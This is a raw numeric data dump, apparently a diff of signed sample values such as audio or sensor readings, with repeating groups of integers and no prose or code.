--119 --119 --63 -63 -136 -129 -26 --58 --119 --119 --63 -64 -136 -134 -26 --58 --119 --119 --119 --59 -70 -136 -136 -136 -84 --13 --93 --119 --119 --67 -57 -136 -136 -136 -70 --25 --88 --119 --119 --95 -47 -136 -136 -136 -61 --29 --92 --119 --119 --101 -41 -136 -136 -136 -57 --34 --95 --119 --119 --89 -37 -136 -136 -136 -56 --37 --99 --119 --119 --92 -37 -136 -136 -136 -51 --41 --100 --119 --119 --93 -36 -136 -136 -136 -52 --40 --101 --119 --119 --92 -35 -136 -136 -136 -53 --39 --100 --119 --119 --93 -34 -136 -136 -136 -54 --41 --99 --119 --119 --94 -33 -136 -136 -136 -51 --39 --99 --119 --119 --94 -35 -136 -136 -136 -52 --40 --101 --119 --119 --93 -33 -136 -136 -136 -52 --40 --101 --119 --119 --93 -33 -136 -136 -136 -52 --41 --100 --119 --98 -25 -119 -91 --8 --89 --119 --119 --92 -37 -134 -109 -8 --61 --119 --119 --79 -48 -136 -118 -15 --70 --119 --119 --74 -55 -136 -124 -20 --67 --119 --119 --70 -57 -136 -125 -22 --63 --119 --119 --66 -59 -136 -125 -22 --64 --119 --119 --70 -58 -136 -129 -23 --60 --119 --119 --65 -63 -136 -129 -25 --61 --119 --119 --64 -62 -136 -131 -26 --61 --119 --119 --65 -63 -136 -131 -29 --62 --119 --119 --65 -64 -136 -131 -26 --61 --119 --119 --65 -63 -136 -131 -26 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -66 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -28 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --65 -61 -136 -132 -26 --61 --119 --119 --66 -63 -136 -131 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --64 -65 -136 -129 -27 --57 --119 --119 --63 -65 -136 -132 -29 --58 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --62 -61 -136 -129 -26 --62 --119 --119 --66 -60 -136 -133 -25 --60 --119 --119 --64 -65 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --63 -63 -136 -132 -29 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --62 -63 -136 -131 -27 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -27 --59 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --65 -61 -136 -130 -26 --62 --119 --119 --65 -61 -136 -133 -26 --61 --119 --119 --67 -63 -136 -129 -26 --57 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --62 -65 -136 -133 -29 --59 --119 --119 --62 -63 -136 -132 -26 --58 --119 --119 --119 --57 -70 -136 -136 -136 -86 --12 --93 --119 --119 --68 -57 -136 -136 -136 -69 --24 --88 --119 --119 --95 -47 -136 -136 -136 -62 --32 --94 --119 --119 --101 -41 -136 -136 -136 -57 --35 --97 --119 --119 --90 -39 -136 -136 -136 -55 --38 --99 --119 --119 --92 -37 -136 -136 -136 -54 --38 --99 --119 --119 --92 -35 -136 -136 -136 -53 --39 --101 --119 --119 --93 -35 -136 -136 -136 -53 --39 --100 --119 --119 --93 -34 -136 -136 -136 -53 --40 --101 --119 --119 --93 -34 -136 -136 -136 -52 --40 --101 --119 --119 --93 -33 -136 -136 -136 -51 --40 --102 --119 --119 --95 -34 -136 -136 -136 -52 --41 --100 --119 --119 --93 -32 -136 -136 -136 -53 --38 --102 --119 --119 --93 -35 -136 -136 -136 -53 --40 --100 --119 --119 --93 -33 -136 -136 -136 -53 --39 --100 --119 --119 --93 -34 -136 -136 -136 -52 --40 --101 --119 --119 --93 -35 -136 -136 -136 -52 --40 --101 --119 --119 --92 -34 -136 -136 -136 -52 --40 --101 --119 --119 --95 -35 -136 -136 -136 -52 --40 --101 --119 --100 -25 -118 -91 --7 --90 --119 --119 --94 -35 -131 -105 -4 --63 --119 --119 +-128 +-128 -83 45 -136 -117 -13 --69 --119 --119 --74 -54 -136 -122 -19 --67 --119 --119 --71 -57 -136 -128 -22 --63 --119 --119 --69 -58 -136 -125 -22 --63 --119 --119 --69 -62 -136 127 -25 --59 --119 --119 --67 -60 -136 -131 -24 --59 --119 --119 --64 -63 -136 -131 -26 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -63 -136 -133 -28 --60 --119 --119 --65 -63 -136 -128 -25 --61 --119 --119 --66 -61 -136 -132 -25 --58 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -63 -136 -131 -27 --61 --119 --119 --64 -65 -136 -133 -29 --59 --119 --119 --64 -65 -136 -133 -29 --59 --119 --119 --62 -65 -136 -132 -27 --60 --119 --119 --65 -63 -136 -131 -28 --58 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --62 -65 -136 -131 -27 --59 --119 --119 --62 -62 -136 -134 -26 --58 --119 --119 --65 -61 -136 -132 -25 --61 --119 --119 --67 -63 -136 -131 -26 --57 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --64 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --119 --57 -69 -136 -136 -136 -81 --14 --92 --119 --119 --70 -59 -136 -136 -136 -69 --26 --103 --119 --119 --95 -45 -136 -136 -136 -60 --33 --91 --119 --119 --102 -42 -136 -136 -136 -58 --35 --96 --119 --119 --88 -37 -136 -136 -136 -56 --37 --98 --119 --119 --91 -36 -136 -136 -136 -54 --39 --98 --119 --119 --92 -34 -136 -120 -20 --67 --119 --119 --59 -49 -136 113 -11 --74 --119 --119 --61 +10 +-76 +-128 +-128 +-80 50 -136 +127 +118 +12 +-72 +-128 +-128 +-80 +48 +127 +120 +13 +-70 +-128 +-128 +-75 +53 +127 +121 +16 +-70 +-128 +-128 +-74 +55 +127 +123 +16 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-70 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +57 +127 +126 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +17 +-68 +-128 +-128 +-71 +54 +127 120 17 --69 --119 --119 --72 -55 -136 -124 -23 --64 --119 --119 --69 -60 -136 -126 -23 --64 --119 --119 --66 -61 -136 -129 -25 --61 --119 --119 --64 -62 -136 -131 -27 --61 --119 --119 --64 -63 -136 -130 -26 --61 --119 --119 --65 -65 -136 -131 -27 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --64 -64 -136 -133 -27 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --64 -64 -136 -132 -28 --59 --119 --119 --62 -62 -136 -130 -28 --57 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -30 --58 --119 --119 -67 -61 -136 -131 -25 --59 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --61 -63 -136 -133 -29 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -64 -136 -132 -29 --59 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --64 -63 -136 -132 -28 --60 --119 --119 --64 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -65 -136 -133 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -29 --59 --119 --119 --63 -62 -136 -131 -29 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --63 -65 -136 -133 -27 --59 --119 --119 --62 -64 -136 -131 -28 --60 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --63 -62 -136 -132 -30 --61 --119 --119 --62 -61 -136 -129 -27 --58 --119 --119 --61 -62 -136 -128 -25 --61 --119 --119 --66 -64 -136 -130 -27 --57 --119 --119 --64 -65 -136 -132 -30 --61 --119 --119 --63 -65 -136 -133 -29 --59 --119 --119 --62 -63 -136 -133 -28 --60 --119 --119 --64 -64 -136 -132 -27 --59 --119 --119 --61 -63 -136 -134 -27 --58 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -28 --60 --119 --119 --65 -62 -136 -127 -25 --62 --119 --119 --66 -60 -136 -132 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -62 -136 -132 -28 --60 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --63 -65 -136 -136 -136 -58 --33 --95 --119 --119 --93 -51 -136 -136 -136 -71 --27 --103 --119 --119 --97 -44 -136 -136 -136 -59 --34 --94 --119 --119 --102 -38 -136 -136 -136 -55 --37 --95 --119 --119 --91 -38 -136 -136 -136 +-128 +-128 +-73 56 --37 --98 --119 --119 --92 -36 -136 -136 -136 -54 --39 --100 --119 --119 --93 -37 -136 -136 -136 -53 --37 --101 --119 --98 -27 -121 -92 --7 --88 --119 --119 --91 -38 -135 -109 -8 --60 --119 --119 --80 -47 -136 -119 -13 +127 +123 +18 -69 --119 --119 --77 -50 -136 +-128 +-128 +-72 +54 +127 124 +18 +-69 +-128 +-128 +-74 +52 +127 +122 17 --66 --119 --119 -71 -58 -136 +-128 +-128 +-74 +56 127 -23 --63 --119 --119 --67 -60 -136 +123 +18 +-68 +-128 +-128 +-72 +56 +127 +124 +19 +-69 +-128 +-128 +-74 +54 127 -24 --62 --119 --119 --67 -62 -136 -130 -25 --61 --119 --119 --65 -63 -136 -129 -26 --60 --119 --119 --63 -61 -136 -131 -29 --62 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -64 -136 -131 -29 --60 --119 --119 --66 -61 -136 -133 -25 --57 --119 --119 --64 -63 -136 -131 -26 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -64 -136 -130 -28 --58 --119 --119 --66 -61 -136 -133 -26 --60 --119 --119 --119 --61 -67 -136 -136 -136 -85 --11 --93 --119 --119 --71 -57 -136 -136 -136 -69 --26 --88 --119 --119 --95 -47 -136 -136 -136 -63 --31 --94 --119 --119 --101 -42 -136 -136 -136 -58 --35 --96 --119 --119 --88 -37 -136 -136 -136 -57 --39 --98 --119 --119 --91 -37 -136 -136 -136 -53 --39 --100 --119 --119 --92 -35 -136 122 19 --67 --119 --119 --58 -47 -136 -110 -11 +-68 +-128 +-128 -72 --119 --119 --60 -48 -136 -116 -15 --70 --119 --119 --58 -53 -136 -125 -19 --63 --119 --119 --69 -59 -136 +54 127 -23 --63 --119 --119 --67 -62 -136 -130 -25 --63 --119 --119 --66 -61 -136 -129 -26 --60 --119 --119 --63 -62 -136 -131 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -64 -136 -133 -27 --61 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --64 -65 -136 -129 -29 --58 --119 --119 --66 -59 -136 -132 -25 --60 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --65 -65 -136 -132 -29 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -64 -136 -130 -29 --58 --119 --119 --66 -60 -136 -132 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -62 -136 -131 -27 --60 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --61 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -27 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --62 -63 -136 -131 -27 --58 --119 --119 --62 -62 -136 -132 -28 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -63 -136 -131 -27 --59 --119 --119 --61 -62 -136 -129 -25 --59 --119 --119 --66 -64 -136 -136 -136 -57 --33 --97 --119 --119 --93 -51 -136 -136 -136 -69 --25 --89 --119 --119 --99 -45 -136 -136 -136 -57 --36 --95 --119 --119 --90 -37 -136 -136 -136 -57 --34 --98 --119 --119 --90 -38 -136 -136 -136 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +18 +-70 +-128 +-128 +-73 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-71 55 --37 --99 --119 --119 --91 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-128 +-67 +60 +127 +127 +127 +75 +-20 +-101 +-128 +-128 +-77 +46 +127 +127 +127 +58 +-35 +-112 +-128 +-128 +-108 35 -136 -136 -136 -53 --39 --99 --119 --119 --91 -34 -136 -136 -136 +127 +127 +127 54 -39 +-102 +-128 +-128 +-112 +32 +127 +127 +127 +50 +-44 +-105 +-128 +-128 +-99 +30 +127 +127 +127 +46 +-46 +-107 +-128 +-128 -100 --119 --97 -23 -116 -88 --10 --91 --119 --119 --94 -37 -136 -108 -7 --59 --119 --119 +28 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-101 +26 +127 +112 +12 +-78 +-128 +-128 +-70 +40 +127 +105 +3 +-82 +-128 +-128 +-70 +40 +127 +112 +9 +-77 +-128 +-128 -79 -47 -136 +46 +127 +116 +13 +-73 +-128 +-128 +-77 +49 +127 +118 +15 +-72 +-128 +-128 +-76 +52 +127 117 16 -69 --119 --119 +-128 +-128 -74 -54 -136 -121 -19 --67 --119 --119 --71 -57 -136 -125 -24 --65 --119 --119 --70 -57 -136 -129 -23 --64 --119 --119 --70 -61 -136 +53 127 -24 --59 --119 --119 --64 -63 -136 -130 -26 --61 --119 --119 --119 --57 -71 -136 -136 -136 -84 --13 --94 --119 --119 --69 -58 -136 -136 -136 -69 --26 --89 --119 --119 --95 -47 -136 -136 -136 -62 --31 --93 --119 --119 --102 -42 -136 -136 -136 -58 --35 --96 --119 --119 --89 -37 -136 -136 -136 -56 --37 --98 --119 --119 --91 -37 -136 -136 -136 -54 --39 --99 --119 --97 -27 -121 -93 --6 --88 --119 --119 --91 -39 -135 -109 -8 --60 --119 --119 --79 -47 -136 -118 -15 +120 +16 -70 --119 --119 +-128 +-128 +-73 +54 +127 +121 +18 +-69 +-128 +-128 -73 53 -136 -123 -19 --67 --119 --119 --69 -57 -136 127 -23 --64 --119 --119 --68 -61 -136 -130 -25 --62 --119 --119 --66 -63 -136 -130 -27 --60 --119 --119 --65 -63 -136 -130 -25 --61 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -61 -136 -128 -24 --62 --119 --119 --65 -65 -136 -131 -26 --60 --119 --119 --63 -61 -136 -128 -24 --62 --119 --119 --66 -61 -136 -133 -25 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --62 -63 -136 -129 -25 --60 --119 --119 --66 -64 -136 -129 -25 --58 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -62 -136 -129 -25 --62 --119 --119 --65 -63 -136 -131 -28 --59 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --63 -62 -136 -132 -28 --61 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -26 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --63 -64 -136 -131 -28 --59 --119 --119 --62 -64 -136 -133 -27 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --64 -63 -136 -132 -27 --60 --119 --119 --62 -61 -136 -128 -24 --62 --119 --119 --66 -61 -136 -133 -25 --58 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --62 -62 -136 -129 -25 --62 --119 --119 --65 -63 -136 -133 -25 --58 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --119 --57 -70 -136 -136 -136 -86 --13 --93 --119 --119 --68 -58 -136 -136 -136 -70 --25 --88 --119 --119 --95 -46 -136 -136 -136 -61 --31 --92 --119 --119 --100 -40 -136 -136 -136 -56 --36 --94 --119 --119 --90 -38 -136 -136 -136 -54 --38 --99 --119 --119 --89 -37 -136 -136 -136 -54 --38 --99 --119 --119 --92 -33 -136 -123 -20 --67 --119 --119 --61 -50 -136 -115 -12 --74 --119 --119 --63 -49 -136 -120 +122 17 -69 --119 --119 --71 -56 -136 -126 -20 --63 --119 --119 +-128 +-128 -72 54 -136 127 -21 --62 --119 --119 --67 -61 -136 -129 -25 --62 --119 --119 --65 -63 -136 -130 -27 --60 --119 --119 --65 -64 -136 -131 -27 --60 --119 --119 --62 -63 -136 -136 -136 -57 --33 --97 --119 --119 --94 -51 -136 -136 -136 -67 --26 --89 --119 --119 --97 -44 -136 -136 -136 -60 --33 --95 --119 --119 --102 -40 -136 -136 -136 -57 --35 --97 --119 --119 --90 -36 -136 -136 -136 -54 --37 --100 --119 --119 --91 -35 -136 -136 -136 -54 --39 --101 --119 --119 --92 -35 -136 -136 -136 -54 --39 --100 --119 --119 --93 -33 -136 -136 -136 -51 --39 --100 --119 --119 --93 -33 -136 -136 -136 -51 --41 --99 --119 --119 --95 -35 -136 -136 -136 -51 --38 --100 --119 --119 --96 -31 -136 -136 -136 -53 --38 --100 --119 --119 --94 -33 -136 -136 -136 -53 --40 --101 --119 --119 --93 -34 -136 -136 -136 -52 --40 --101 --119 --119 --93 -33 -136 -119 -17 --67 --119 --119 --60 -45 -136 -113 -12 --74 --119 --119 --63 -50 -136 -119 -17 +122 +18 -69 --119 --119 --57 +-128 +-128 +-74 +56 +127 +121 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +19 +-68 +-128 +-128 +-72 +53 +127 +122 +18 +-69 +-128 +-128 +-71 55 -136 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 124 20 --65 --119 --119 -68 -57 -136 -128 -24 --63 --119 --119 --66 -59 -136 -129 -25 --62 --119 --119 --65 -63 -136 -130 -26 --60 --119 --119 --64 -61 -136 -131 -25 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -65 -136 -130 -28 --60 --119 --119 --62 -61 -136 +-128 +-128 +-72 +53 127 -25 --61 --119 --119 --66 -63 -136 -129 -26 --58 --119 --119 --65 -61 -136 -129 -26 --62 --119 --119 --65 -64 -136 -132 -28 --60 --119 --119 --62 -62 -136 -128 -25 --60 --119 --119 +124 +17 -67 -64 -136 -129 -26 --58 --119 --119 --64 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --66 -63 -136 -130 -27 --57 --119 --119 --64 -65 -136 -131 -30 --59 --119 --119 --66 -62 -136 -131 -25 --58 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --62 -62 -136 -133 -30 --61 --119 --119 --64 -64 -136 -133 -28 --59 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --63 -64 -136 -131 -30 --59 --119 --119 --66 -61 -136 -129 -25 --58 --119 --119 --66 -60 -136 -133 -25 --58 --119 --119 --63 -64 -136 -131 -28 --59 --119 --119 --62 -63 -136 -132 -26 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -133 -29 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -133 -27 --59 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --64 -66 -136 -130 -27 --59 --119 --119 --62 -62 -136 -131 -26 --60 --119 --119 --63 -62 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -66 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -63 -136 -131 -27 --59 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --64 -65 -136 -133 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -62 -136 -130 -29 --57 --119 --119 --65 -61 -136 -131 -26 --61 --119 --119 --67 -64 -136 -129 -27 --57 --119 --119 --65 -62 -136 -128 -25 --61 --119 --119 --67 -64 -136 -129 -27 --57 --119 --119 --66 -60 -136 -132 -25 --60 --119 --119 --63 -62 -136 -129 -25 --61 --119 --119 --66 -63 -136 -130 -26 --57 --119 --119 --64 -66 -136 -132 -30 --61 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --61 -64 -136 -133 -29 --59 --119 --119 --63 -65 -136 -131 -29 --59 --119 --119 --63 -65 -136 -133 -27 --59 --119 --119 --62 -65 -136 -133 -28 --59 --119 --119 --65 -62 -136 -128 -25 --59 --119 --119 --61 -63 -136 -132 -28 --59 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --67 -60 -136 -132 -25 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --62 -62 -136 -129 -25 --61 --119 --119 --66 -62 -136 -130 -25 --58 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -65 -136 -131 -29 --59 --119 --119 --63 -65 -136 -133 -26 --57 --119 --119 --64 -64 -136 -133 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -130 -29 --58 --119 --119 --67 -59 -136 -132 -25 --59 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -65 -136 -131 -30 --60 --119 --119 --66 -62 -136 -132 -25 --58 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -133 -29 --59 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -64 -136 -133 -29 --59 --119 --119 --64 -64 -136 -133 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --62 -62 -136 -129 -25 --60 --119 --119 --67 -64 -136 -129 -26 --58 --119 --119 --65 -61 -136 -131 -26 --61 --119 --119 --67 -63 -136 -130 -26 --58 --119 --119 --65 -61 -136 -130 -26 --62 --119 --119 --66 -60 -136 -132 -25 --58 --119 --119 --64 -64 -136 -136 -136 -58 --34 --96 --119 --119 --95 -50 -136 -136 -136 -66 --28 --88 --119 --119 --97 -43 -136 -136 -136 -59 --34 --92 --119 --119 --88 -40 -136 -136 -136 -57 --37 --96 --119 --119 --89 -35 -136 -136 -136 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-74 53 --39 --97 --119 --119 --93 -36 -136 -136 -136 -53 --39 --100 --119 --119 --94 -36 -136 -136 -136 -53 --40 --101 --119 --98 -25 +127 120 -92 --7 --89 --119 --119 --92 -38 -133 -109 -10 --62 --119 --119 --80 -49 -136 -118 +17 +-71 +-128 +-128 +-74 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +21 +-70 +-128 +-128 +-71 +53 +127 +123 +18 +-69 +-128 +-128 +-75 +51 +127 +124 16 -69 --119 --119 +-128 +-128 +-71 +52 +127 +120 +16 +-71 +-128 +-128 -74 +51 +127 +124 +17 +-69 +-128 +-128 +-72 55 -136 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 122 21 -66 --119 --119 --71 -58 -136 -126 -22 --64 --119 --119 --67 -59 -136 -129 -24 --63 --119 --119 --67 -62 -136 -129 -27 --63 --119 --119 --65 -60 -136 -131 -29 --62 --119 --119 +-128 +-128 +-75 +51 +127 +123 +16 -68 -60 -136 -129 -24 --59 --119 --119 --66 -63 -136 -131 -29 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --64 -64 -136 -133 -27 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --63 -65 -136 -130 -28 --57 --119 --119 --65 -63 -136 -133 -29 --59 --119 --119 --65 -61 -136 -130 -25 --62 --119 --119 --66 -62 -136 -132 -25 --58 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -64 -136 -133 -27 --60 --119 --119 --64 -65 -136 -131 -29 --61 --119 --119 --66 -60 -136 -133 -25 --58 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -134 -26 --58 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --62 -62 -136 -129 -25 --60 --119 --119 --66 -64 -136 -130 -26 --57 --119 --119 --64 -64 -136 -131 -29 --58 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -63 -136 -131 -26 --59 --119 --119 --63 -62 -136 -131 -27 --61 --119 --119 --62 -64 -136 -133 -28 --60 --119 --119 --66 -60 -136 -131 -26 --62 --119 --119 --67 -64 -136 -129 -26 --57 --119 --119 --65 -63 -136 -130 -28 --57 --119 --119 --64 -63 -136 -133 -28 --59 --119 --119 --64 -65 -136 -134 -26 --57 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -26 --60 --119 --119 --64 -65 -136 -133 -28 --60 --119 --119 --65 -65 -136 -131 -26 --60 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --119 --57 -71 -136 -136 -136 -85 --13 --93 --119 --119 --67 +-128 +-128 +-73 56 -136 -136 -136 -70 --25 --88 --119 --119 --96 -47 -136 -136 -136 -63 --31 --93 --119 --119 --101 -41 -136 -136 -136 -56 --33 --96 --119 --119 --89 -38 -136 -136 -136 -56 --37 --99 --119 --119 --91 -36 -136 -136 -136 +127 +122 +18 +-68 +-128 +-128 +-71 54 --39 --99 --119 --97 -27 +127 +122 +18 +-67 +-128 +-128 +-71 +53 +127 119 -94 --7 --88 --119 --119 --91 -38 -135 -109 -8 --61 --119 --119 --78 -47 -136 -117 -15 +16 +-71 +-128 +-128 +-74 +53 +127 +120 +17 +-71 +-128 +-128 +-74 +52 +127 +123 +18 -70 --119 --119 +-128 +-128 +-75 +55 +127 +120 +18 +-66 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-73 +55 +127 +121 +18 +-68 +-128 +-128 +-70 +53 +127 +120 +17 +-68 +-128 +-128 +-76 +52 +127 +121 +16 +-67 +-128 +-128 -72 55 -136 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 124 20 --66 --119 --119 --69 -57 -136 -127 -23 --63 --119 --119 -67 -61 -136 -129 -24 --62 --119 --119 --65 -61 -136 -129 -25 --62 